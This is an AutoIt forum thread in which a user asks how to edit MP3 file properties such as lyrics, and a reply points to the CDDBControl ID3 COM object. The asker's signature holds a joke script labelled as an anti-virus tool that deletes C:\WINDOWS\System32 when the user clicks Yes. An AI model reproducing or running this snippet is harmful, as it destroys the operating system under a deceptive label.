Jump to content

Change File Properties?


Firefoxy
 Share

Recommended Posts

Can you change the properties of files with AutoIt? Like this or something:

$File = FileOpenDialog("Select Song File", @DesktopDir, "mp3 (.mp3)")
;;I'm just making up stuff now. Just to give you an example of what I want;;
$lyrics = InputBox("Lyrics", "Enter the lyrics of the song...")
_ChangeFileProp($file, Lyrics, $lyrics)

Ok, the _ChangeFileProp doesn't exist but it's just an example of what I want, again.

Here's for reference:

_ChangeFileProp("File To Edit", "Part Of File Properties To Edit", "Text To Enter")

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

You are reffering to reading and writing ID3 tags I think..

Look here for an example it uses CDDBControl.dll which you likeley already have on your computer

http://www.autoitscript.com/forum/index.php?showtopic=17362

One thing to note is that different suppliers of this DLL have a slightly different initialization of the Com object

One might be $id3 = ObjCreate("CDDBControl.CddbID3Tag")

AOL's version is $id3 = ObjCreate("CDDBControlAOL.CddbID3Tag")

I don't know for sure but Apples is probably $id3 = ObjCreate("CDDBControlApple.CddbID3Tag")

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...